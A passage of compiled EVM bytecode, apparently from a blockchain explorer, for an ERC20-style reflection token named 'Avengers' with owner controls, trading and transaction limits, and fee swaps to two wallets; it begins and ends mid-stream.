fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061175b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561175a5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561176957600090506118f0565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118145750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561182c57601054600e81905550601154600f819055505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d75750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118ef57601254600e81905550601354600f819055505b5b6118fc84848484611d72565b50505050565b600083831115829061194a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119419190612522565b60405180910390fd5b50600083856119599190612fb9565b9050809150509392505050565b60006006548211156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a49061305f565b60405180910390fd5b60006119b7611d9f565b90506119cc8184611dca90919063ffffffff16565b915050919050565b6119df838383610f9d565b505050565b6001600560006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a1c57611a1b61307f565b5b604051908082528060200260200182016040528015611a4a5781602001602082028036833780820191505090505b5090503081600081518110611a6257611a616129e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2d91906130c3565b81600181518110611b4157611b406129e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ba830600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f9d565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318668a188360008430426040518663ffffffff1660e01b8152600401611c0c9594939291906131e9565b600060405180830381600087803b158015611c2657600080fd5b505af1158015611c3a573d6000803e3d6000fd5b50505050506000600560006101000a81548160ff02191690831515021790555050565b6000600382611c6c9190613272565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd6573d6000803e3d6000fd5b50600482611ce49190613272565b81611cef9190612fb9565b905060008290508181611d029190612fb9565b9050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d6c573d6000803e3d6000fd5b50505050565b80611d8057611d7f611e14565b5b611d8b848484611e51565b80611d9957611d9861201c565b5b50505050565b6000806000611dac612030565b91509150611dc38183611dca90919063ffffffff16565b9250505090565b6000611e0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061208f565b905092915050565b6000600e54148015611e2857506000600f54145b611e4f57600e54601481905550600f546015819055506000600e819055506000600f819055505b565b600080600080600080611e63876120f2565b955095509550955095509550611ec186600d60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215a90919063ffffffff16565b600d60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5685600d60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a490919063ffffffff16565b600d60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa281612202565b611fac84836122bf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161200991906126e1565b60405180910390a3505050505050505050565b601454600e81905550601554600f81905550565b600080600060065490506000670de0b6b3a76400009050612064670de0b6b3a7640000600654611dca90919063ffffffff16565b82101561208257600654670de0b6b3a764000093509350505061208b565b81819350935050505b9091565b600080831182906120d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cd9190612522565b60405180910390fd5b50600083856120e59190613272565b9050809150509392505050565b600080600080600080600080600061210f8a600e54600f546122f9565b925092509250600061211f611d9f565b905060008060006121328e87878761238f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061219c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611902565b905092915050565b60008082846121b39190612ef3565b9050838110156121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ef906132ef565b60405180910390fd5b8091505092915050565b600061220c611d9f565b90506000612223828461241890919063ffffffff16565b905061227781600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a490919063ffffffff16565b600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122d48260065461215a90919063ffffffff16565b6006819055506122ef816007546121a490919063ffffffff16565b6007819055505050565b6000806000806123256064612317888a61241890919063ffffffff16565b611dca90919063ffffffff16565b9050600061234f6064612341888b61241890919063ffffffff16565b611dca90919063ffffffff16565b905060006123788261236a858c61215a90919063ffffffff16565b61215a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123a8858961241890919063ffffffff16565b905060006123bf868961241890919063ffffffff16565b905060006123d6878961241890919063ffffffff16565b905060006123ff826123f1858761215a90919063ffffffff16565b61215a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361242a576000905061248c565b60008284612438919061330f565b90508284826124479190613272565b14612487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247e906133c3565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124cc5780820151818401526020810190506124b1565b60008484015250505050565b6000601f19601f8301169050919050565b60006124f482612492565b6124fe818561249d565b935061250e8185602086016124ae565b612517816124d8565b840191505092915050565b6000602082019050818103600083015261253c81846124e9565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125798261254e565b9050919050565b6125898161256e565b811461259457600080fd5b50565b6000813590506125a681612580565b92915050565b6000819050919050565b6125bf816125ac565b81146125ca57600080fd5b50565b6000813590506125dc816125b6565b92915050565b600080604083850312156125f9576125f8612544565b5b600061260785828601612597565b9250506020612618858286016125cd565b9150509250929050565b60008115159050919050565b61263781612622565b82525050565b6000602082019050612652600083018461262e565b92915050565b6000819050919050565b600061267d6126786126738461254e565b612658565b61254e565b9050919050565b600061268f82612662565b9050919050565b60006126a182612684565b9050919050565b6126b181612696565b82525050565b60006020820190506126cc60008301846126a8565b92915050565b6126db816125ac565b82525050565b60006020820190506126f660008301846126d2565b92915050565b60008060006060848603121561271557612714612544565b5b600061272386828701612597565b935050602061273486828701612597565b9250506040612745868287016125cd565b9150509250925092565b600060ff82169050919050565b6127658161274f565b82525050565b6000602082019050612780600083018461275c565b92915050565b60006020828403121561279c5761279b612544565b5b60006127aa848285016125cd565b91505092915050565b60006127be8261254e565b9050919050565b6127ce816127b3565b82525050565b60006020820190506127e960008301846127c5565b92915050565b60006020828403121561280557612804612544565b5b600061281384828501612597565b91505092915050565b6128258161256e565b82525050565b6000602082019050612840600083018461281c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261286b5761286a612846565b5b8235905067ffffffffffffffff8111156128885761288761284b565b5b6020830191508360208202830111156128a4576128a3612850565b5b9250929050565b6128b481612622565b81146128bf57600080fd5b50565b6000813590506128d1816128ab565b92915050565b6000806000604084860312156128f0576128ef612544565b5b600084013567ffffffffffffffff81111561290e5761290d612549565b5b61291a86828701612855565b9350935050602061292d868287016128c2565b9150509250925092565b6000806040838503121561294e5761294d612544565b5b600061295c85828601612597565b925050602061296d85828601612597565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129ad60208361249d565b91506129b882612977565b602082019050919050565b600060208201905081810360008301526129dc816129a0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a4c826125ac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7e57612a7d612a12565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ae560268361249d565b9150612af082612a89565b604082019050919050565b60006020820190508181036000830152612b1481612ad8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b7760248361249d565b9150612b8282612b1b565b604082019050919050565b60006020820190508181036000830152612ba681612b6a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c0960228361249d565b9150612c1482612bad565b604082019050919050565b60006020820190508181036000830152612c3881612bfc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c9b60238361249d565b9150612ca682612c3f565b604082019050919050565b60006020820190508181036000830152612cca81612c8e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d2d60258361249d565b9150612d3882612cd1565b604082019050919050565b60006020820190508181036000830152612d5c81612d20565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612dbf60298361249d565b9150612dca82612d63565b604082019050919050565b60006020820190508181036000830152612dee81612db2565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612e51603f8361249d565b9150612e5c82612df5565b604082019050919050565b60006020820190508181036000830152612e8081612e44565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612ebd601c8361249d565b9150612ec882612e87565b602082019050919050565b60006020820190508181036000830152612eec81612eb0565b9050919050565b6000612efe826125ac565b9150612f09836125ac565b9250828201905080821115612f2157612f20612a12565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612f8360238361249d565b9150612f8e82612f27565b604082019050919050565b60006020820190508181036000830152612fb281612f76565b9050919050565b6000612fc4826125ac565b9150612fcf836125ac565b9250828203905081811115612fe757612fe6612a12565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613049602a8361249d565b915061305482612fed565b604082019050919050565b600060208201905081810360008301526130788161303c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506130bd81612580565b92915050565b6000602082840312156130d9576130d8612544565b5b60006130e7848285016130ae565b91505092915050565b6000819050919050565b600061311561311061310b846130f0565b612658565b6125ac565b9050919050565b613125816130fa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131608161256e565b82525050565b60006131728383613157565b60208301905092915050565b6000602082019050919050565b60006131968261312b565b6131a08185613136565b93506131ab83613147565b8060005b838110156131dc5781516131c38882613166565b97506131ce8361317e565b9250506001810190506131af565b5085935050505092915050565b600060a0820190506131fe60008301886126d2565b61320b602083018761311c565b818103604083015261321d818661318b565b905061322c606083018561281c565b61323960808301846126d2565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061327d826125ac565b9150613288836125ac565b92508261329857613297613243565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006132d9601b8361249d565b91506132e4826132a3565b602082019050919050565b60006020820190508181036000830152613308816132cc565b9050919050565b600061331a826125ac565b9150613325836125ac565b9250828202613333816125ac565b9150828204841483151761334a57613349612a12565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133ad60218361249d565b91506133b882613351565b604082019050919050565b600060208201905081810360008301526133dc816133a0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636549726f6e4d616e4361707461696e416d6572696361446f63746f72537472616e6765426c61636b5769646f7754686f72416e742d4d616e4361707461696e4d617276656c486f726e6574426c61636b50616e7468657248756c6b4861776b657965537461722d4c6f726457696e746572536f6c64696572517569636b73696c766572566973696f6e536361726c6574576974636846616c636f6e44657374726f796572526f636b6574526163636f6f6e47726f6f74a26469706673582212207c4ec15d61720eac83733f3d6e1ff79a2cca9f23133317638f3e4078a62cdb8764736f6c63430008130033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c8063751039fc116100b6578063c492f0461161006f578063c492f0461461047b578063c7fda18a146104a4578063c816841b146104cf578063caac7934146104fa578063dd62ed3e14610525578063f2fde38b1461056257610156565b8063751039fc1461037d5780637762604a146103945780638da5cb5b146103bd57806395d89b41146103e8578063a9059cbb14610413578063b4a07ca41461045057610156565b8063313ce56711610108578063313ce5671461028157806333c6c4cd146102ac5780633d6a9afe146102d55780635066b0341461030057806370a0823114610329578063715018a61461036657610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd1461021957806327b7744f1461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b5061017061058b565b60405161017d9190612522565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906125e2565b6105ab565b6040516101ba919061263d565b60405180910390f35b3480156101cf57600080fd5b506101d86105c9565b6040516101e591906126b7565b60405180910390f35b3480156101fa57600080fd5b506102036105ef565b60405161021091906126e1565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b91906126fc565b6105ff565b60405161024d919061263d565b60405180910390f35b34801561026257600080fd5b5061026b6106d8565b60405161027891906126e1565b60405180910390f35b34801561028d57600080fd5b506102966106de565b6040516102a3919061276b565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190612786565b6106e7565b005b3480156102e157600080fd5b506102ea610786565b6040516102f791906127d4565b60405180910390f35b34801561030c57600080fd5b50610327600480360381019061032291906127ef565b6107ac565b005b34801561033557600080fd5b50610350600480360381019061034b91906127ef565b6108a0565b60405161035d91906126e1565b60405180910390f35b34801561037257600080fd5b5061037b6108f1565b005b34801561038957600080fd5b50610392610a44565b005b3480156103a057600080fd5b506103bb60048036038101906103b691906127ef565b610af9565b005b3480156103c957600080fd5b506103d2610b37565b6040516103df919061282b565b60405180910390f35b3480156103f457600080fd5b506103fd610b60565b60405161040a9190612522565b60405180910390f35b34801561041f57600080fd5b5061043a600480360381019061043591906125e2565b610b9d565b604051610447919061263d565b60405180910390f35b34801561045c57600080fd5b50610465610bbb565b60405161047291906126e1565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d91906128d7565b610bc1565b005b3480156104b057600080fd5b506104b9610cfb565b6040516104c691906126e1565b60405180910390f35b3480156104db57600080fd5b506104e4610d01565b6040516104f1919061282b565b60405180910390f35b34801561050657600080fd5b5061050f610d27565b60405161051c91906127d4565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190612937565b610d4d565b60405161055991906126e1565b60405180910390f35b34801561056e57600080fd5b50610589600480360381019061058491906127ef565b610dd4565b005b60606040518060e0016040528060b5815260200161340c60b59139905090565b60006105bf6105b8610f95565b8484610f9d565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061060c848484611166565b6106cd84610618610f95565b6106c8856040518060600160405280602881526020016133e460289139600b60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067e610f95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119029092919063ffffffff16565b610f9d565b600190509392505050565b60095481565b60006009905090565b6106ef610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610773906129c3565b60405180910390fd5b80600a8190555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107b4610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610841576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610838906129c3565b60405180910390fd5b6001600560026101000a81548160ff02191690831515021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006108ea600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611966565b9050919050565b6108f9610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097d906129c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a4c610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad0906129c3565b60405180910390fd5b670de0b6b3a7640000600881905550670de0b6b3a7640000600981905550565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610b338282670de0b6b3a76400006119d4565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4176656e67657273000000000000000000000000000000000000000000000000815250905090565b6000610bb1610baa610f95565b8484611166565b6001905092915050565b60085481565b610bc9610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4d906129c3565b60405180910390fd5b60005b83839050811015610cf5578160046000868685818110610c7c57610c7b6129e3565b5b9050602002016020810190610c9191906127ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ced90612a41565b915050610c59565b50505050565b600a5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ddc610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e60906129c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612afb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361100c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100390612b8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290612c1f565b60405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115991906126e1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cc90612cb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123b90612d43565b60405180910390fd5b60008111611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e90612dd5565b60405180910390fd5b61128f610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112fd57506112cd610b37565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160157600560029054906101000a900460ff1661138c5761131e610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461138b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138290612e67565b60405180910390fd5b5b6008548111156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612ed3565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461147e5760095481611433846108a0565b61143d9190612ef3565b1061147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490612f99565b60405180910390fd5b5b6000611489306108a0565b9050600854811061149a5760085490505b600560019054906101000a900460ff1680156114b85750600a548110155b80156114d15750600560009054906101000a900460ff16155b801561152b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115815750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115d75750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115ff576115e5816119e4565b600047905060008111156115fd576115fc47611c5d565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116a85750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061175b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561175a5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561176957600090506118f0565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118145750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561182c57601054600e81905550601154600f819055505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d75750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118ef57601254600e81905550601354600f819055505b5b6118fc84848484611d72565b50505050565b600083831115829061194a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119419190612522565b60405180910390fd5b50600083856119599190612fb9565b9050809150509392505050565b60006006548211156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a49061305f565b60405180910390fd5b60006119b7611d9f565b90506119cc8184611dca90919063ffffffff16565b915050919050565b6119df838383610f9d565b505050565b6001600560006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a1c57611a1b61307f565b5b604051908082528060200260200182016040528015611a4a5781602001602082028036833780820191505090505b5090503081600081518110611a6257611a616129e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2d91906130c3565b81600181518110611b4157611b406129e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ba830600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f9d565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318668a188360008430426040518663ffffffff1660e01b8152600401611c0c9594939291906131e9565b600060405180830381600087803b158015611c2657600080fd5b505af1158015611c3a573d6000803e3d6000fd5b50505050506000600560006101000a81548160ff02191690831515021790555050565b6000600382611c6c9190613272565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd6573d6000803e3d6000fd5b50600482611ce49190613272565b81611cef9190612fb9565b905060008290508181611d029190612fb9565b9050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d6c573d6000803e3d6000fd5b50505050565b80611d8057611d7f611e14565b5b611d8b848484611e51565b80611d9957611d9861201c565b5b50505050565b6000806000611dac612030565b91509150611dc38183611dca90919063ffffffff16565b9250505090565b6000611e0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061208f565b905092915050565b6000600e54148015611e2857506000600f54145b611e4f57600e54601481905550600f546015819055506000600e819055506000600f819055505b565b600080600080600080611e63876120f2565b955095509550955095509550611ec186600d60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215a90919063ffffffff16565b600d60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5685600d60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a490919063ffffffff16565b600d60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa281612202565b611fac84836122bf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161200991906126e1565b60405180910390a3505050505050505050565b601454600e81905550601554600f81905550565b600080600060065490506000670de0b6b3a76400009050612064670de0b6b3a7640000600654611dca90919063ffffffff16565b82101561208257600654670de0b6b3a764000093509350505061208b565b81819350935050505b9091565b600080831182906120d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cd9190612522565b60405180910390fd5b50600083856120e59190613272565b9050809150509392505050565b600080600080600080600080600061210f8a600e54600f546122f9565b925092509250600061211f611d9f565b905060008060006121328e87878761238f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061219c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611902565b905092915050565b60008082846121b39190612ef3565b9050838110156121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ef906132ef565b60405180910390fd5b8091505092915050565b600061220c611d9f565b90506000612223828461241890919063ffffffff16565b905061227781600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a